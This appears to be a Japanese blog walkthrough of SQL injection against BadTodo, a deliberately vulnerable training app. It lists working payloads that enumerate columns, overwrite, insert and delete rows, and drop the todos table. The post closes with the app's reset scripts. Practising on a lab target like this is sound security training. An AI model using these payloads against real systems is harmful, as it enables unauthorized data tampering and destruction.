前回:やられアプリ BadTodo - 3.4 SQLインジェクション ID・パスワードの取得 - demandosigno
前提:前回でデータベース「todo」にテーブル名「todos」があり、Todoリスト機能部分はそれを使っていることが分かっています。
todosテーブルのカラム一覧
' UNION SELECT NULL, NULL, COLUMN_NAME, DATA_TYPE, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='todos'#
既存データの改ざん(UPDATE SET)
現在はログイン前であり、各todoへの編集権限はありませんが、SQLインジェクションで Todoリストの「パソコンを買う」という部分を書き換えます。
';UPDATE todos SET todo='cracked!' WHERE id=1 #
新規データの追加(INSERT INTO)
';INSERT INTO todos (id, owner, todo, due_date, memo, org_filename, real_filename, url, url_text, public) VALUES('7', '1', 'hogehoge', '2023-08-16', 'hogehoge', 'hacker2.png', '', 'https://trap.example.org/', 'hogehoge', '1') #
(idはitem番号のことで、他のtodoを見ながら空いていそうな値を使います。real_filenameは空欄で大丈夫でした。)
データの削除(DELETE FROM)
';DELETE FROM todos WHERE id IN ('7') #
(番号はTodoのitem=
に表示される値です)
テーブルの削除(DROP TABLE)
'; DROP TABLE todos#
その後、一覧を表示すると「テーブルが存在しない」というエラーになります。
DBを確認しても「todosテーブル」が消えていることが分かります。
MariaDB [todo]> show tables; +----------------+ | Tables_in_todo | +----------------+ | session | | users | +----------------+
データベースとコンテンツを初期化は下記の通り。
badtodo/docs/usage.md at main · ockeghem/badtodo · GitHub
初期化用スクリプト
コンテナを維持したままデータを初期化するには、以下のスクリプトが利用できます。
Windows(PowerShell)
PS C:badtodo> .\scripts\init.ps1
Windows(CMD)
C:badtodo> .\scripts\init.bat
Mac / Linux / WSL
$ ./scripts/init.sh
次回:やられアプリ BadTodo - 3.6 SQLインジェクション MariaDBのパスワード取得 - demandosigno